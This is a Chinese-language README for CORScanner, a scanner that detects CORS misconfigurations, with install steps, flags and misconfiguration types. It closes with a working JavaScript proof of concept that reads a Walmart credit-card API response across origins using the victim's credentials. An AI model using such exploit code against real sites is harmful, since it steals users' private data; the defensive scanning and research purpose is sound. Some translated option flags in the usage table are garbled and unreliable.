关于 CORScanner
CORScanner 是一款用于发现网站 CORS 配置错误漏洞的 Python 工具。它可以帮助网站管理员和渗透测试人员检查他们所针对的域/URL 是否具有不安全的 CORS 策略。
特征
- 快速。它使用gevent而不是 Python 线程进行并发,这对于网络扫描来说速度更快。
- 全面。它涵盖了我们所知道的所有常见 CORS 错误配置类型。
- 灵活。支持各种自定义功能(如文件输出),有利于大规模扫描。
- 🆕 CORScanner 支持通过 pip (
pip install corscanner
或pip install cors
)安装 - 🆕 CORScanner 可以作为项目中的库使用。
两个有助于系统理解 CORS 的参考资料:
- USENIX 安全 18 论文:我们仍然没有安全的跨域请求:CORS 的实证研究
- 中文详解:绕过浏览器SOP,跨站窃取信息:CORS配置安全漏洞报告及最佳部署实践
如果您进行科学研究,请考虑引用我们的论文(单击我)。
截图

安装
- 下载此工具
git clone https://github.com/chenjj/CORScanner.git
- 安装依赖项
sudo pip install -r requirements.txt
CORScanner 依赖于requests
、gevent
、tldextract
和colorama
pythonargparse
模块。
Python 版本:
- 同时支持Python 2 ( 2.7.x ) 和 Python 3 ( 3.7.x )。
CORScanner 作为库
- 通过 pip 安装 CORScanner
sudo pip install corscanner
或使用简称:
sudo pip install cors
- 示例代码:
>>> from CORScanner.cors_scan import cors_check >>> ret = cors_check("https://www.instagram.com", None) >>> ret {'url': 'https://www.instagram.com', 'type': 'reflect_origin', 'credentials': 'false', 'origin': 'https://evil.com', 'status_code': 200}
您还可以通过corscanner
或cors
命令使用 CORScanner:cors -vu https://www.instagram.com
用法
短格式 | 长格式 | 描述 |
---|---|---|
-u | –url | 用于检查其 CORS 政策的 URL/域名 |
-d | –标题 | 向请求添加标头 |
-我 | – 输入 | URL/域列表文件来检查其 CORS 策略 |
-t | –线程 | 用于 CORS 扫描的线程数 |
-o | – 输出 | 将结果保存到json文件 |
-v | –详细 | 启用详细模式并实时显示结果 |
-T | – 暂停 | 设置请求超时(默认 10 秒) |
-p | – 代理人 | 启用代理(http 或 socks5) |
-h | – 帮助 | 显示帮助信息并退出 |
示例
- 要检查特定域的 CORS 配置错误:
python cors_scan.py -u example.com
- 要启用更多调试信息,请使用 -v:
python cors_scan.py -u example.com -v
- 要将扫描结果保存到 JSON 文件,请使用 -o:
python cors_scan.py -u example.com -o output_filename
- 要检查特定 URL 的 CORS 配置错误:
python cors_scan.py -u http://example.com/restapi
- 要使用特定标头检查 CORS 配置错误:
python cors_scan.py -u example.com -d "Cookie: test"
- 要检查多个域/URL 的 CORS 配置错误:
python cors_scan.py -i top_100_domains.txt -t 100
- 要为 CORScanner 启用代理,请使用 -p
python cors_scan.py -u example.com -p http://127.0.0.1:8080
要使用 socks5 代理,请使用以下方式安装 PySockspip install PySocks
python cors_scan.py -u example.com -p socks5://127.0.0.1:8080
- 要列出所有基本选项和开关,请使用 -h 开关:
python cors_scan.py -h
错误配置类型
此工具涵盖以下错误配置类型:
配置错误类型 | 描述 |
---|---|
Reflect_any_origin | 在响应中盲目地反映 Origin 标头值Access-Control-Allow-Origin headers ,这意味着任何网站都可以通过发送跨源请求来读取其秘密。 |
前缀匹配 | wwww.example.com trusts example.com.evil.com ,这是攻击者的域。 |
后缀_匹配 | wwww.example.com 信任evilexample.com ,这可能会被攻击者注册。 |
非转义点 | wwww.example.com 信任wwwaexample.com ,这可能会被攻击者注册。 |
子字符串匹配 | wwww.example.com 信任example.co ,这可能会被攻击者注册。 |
Trust_null | wwww.example.com 信任null ,可以通过 iframe 沙盒脚本伪造 |
HTTPS_信任_HTTP | 存在风险的信任依赖,MITM 攻击者可能会窃取 HTTPS 站点机密 |
Trust_any_subdomain | 存在风险的信任依赖,子域 XSS 可能会窃取其机密 |
Custom_third_partys(自定义第三方) | 自定义不安全的第三方来源,如github.io ,请参阅origins.json文件中的更多内容。谢谢@phackt! |
特殊字符绕过 | 利用浏览器对特殊字符的处理。大多数只能在 Safari 中使用,但 除外_ , 它也可以在 Chrome 和 Firefox 中使用。请参阅高级 CORS 利用技术了解更多信息。感谢@Malayke。 |
欢迎大家多多贡献。
漏洞利用示例
以下是关于如何利用 Walmart.com 上的“Reflect_any_origin”错误配置的示例(已修复)。Localhost 是视频中的恶意网站。
Youtube 上的 Walmart.com 视频:

以下是漏洞利用代码:
<script> // Send a cross origin request to the walmart.com server, when a victim visits the page. var req = new XMLHttpRequest(); req.open('GET',"https://www.walmart.com/account/electrode/account/api/customer/:CID/credit-card",true); req.onload = stealData; req.withCredentials = true; req.send(); function stealData(){ //reading response is allowed because of the CORS misconfiguration. var data= JSON.stringify(JSON.parse(this.responseText),null,2); //display the data on the page. A real attacker can send the data to his server. output(data); } function output(inp) { document.body.appendChild(document.createElement('pre')).innerHTML = inp; } </script>
如果您已经了解了演示的工作原理,您可以阅读CORS 论文的第 5 节和第 6 节,了解如何利用其他错误配置。